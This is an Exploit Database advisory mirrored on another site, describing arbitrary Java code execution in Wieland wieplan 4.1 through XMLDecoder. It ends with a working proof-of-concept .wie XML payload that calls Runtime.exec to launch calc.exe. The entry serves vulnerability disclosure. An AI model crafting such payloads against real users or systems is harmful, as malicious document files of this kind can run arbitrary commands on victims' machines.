Wieland wieplan 4.1 – Document Parsing Java Code Execution Using XMLDecoder

• Exploit Database
• 106 阅读

• 作者： LiquidWorm
  日期： 2016-02-10
• 类别：

  • local
  平台：

  • xml
• 来源：https://www.exploit-db.com/exploits/39438/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

  Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder     Vendor: Wieland Electric GmbH Product web page: http://www.wieland-electric.com Affected version: 4.1 (Build 9)   Summary: Your new software for the configuration of Wieland terminal rails. wieplan enables you to plan a complete terminal rail in a very simple way and to then place an order with Wieland. The configured terminal rail can be stored in DXF format and read into a CAD tool for further processing. Due to the intuitive user interface, the configuration of terminal rails with wieplan is easy.   Desc: wieplan suffers from an arbitrary java code execution when parsing WIE documents that uses XMLDecoder, allowing system access to the affected machine. The software is used to generate custom specification order saved in .wie XML file that has to be sent to the vendor offices to be processed.   Tested on: Microsoft Windows 7 Professional SP1 (EN) Microsoft Windows 7 Ultimate SP1 (EN) Java/1.8.0_73 Java/1.6.0_62     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2016-5304 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5304.php     25.11.2016   ---     <?xml version="1.0" encoding="UTF-8"?> <java version="1.6.0_02" class="java.beans.XMLDecoder"> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>c:\\windows\\system32\\calc.exe</string> </void> </object> </java>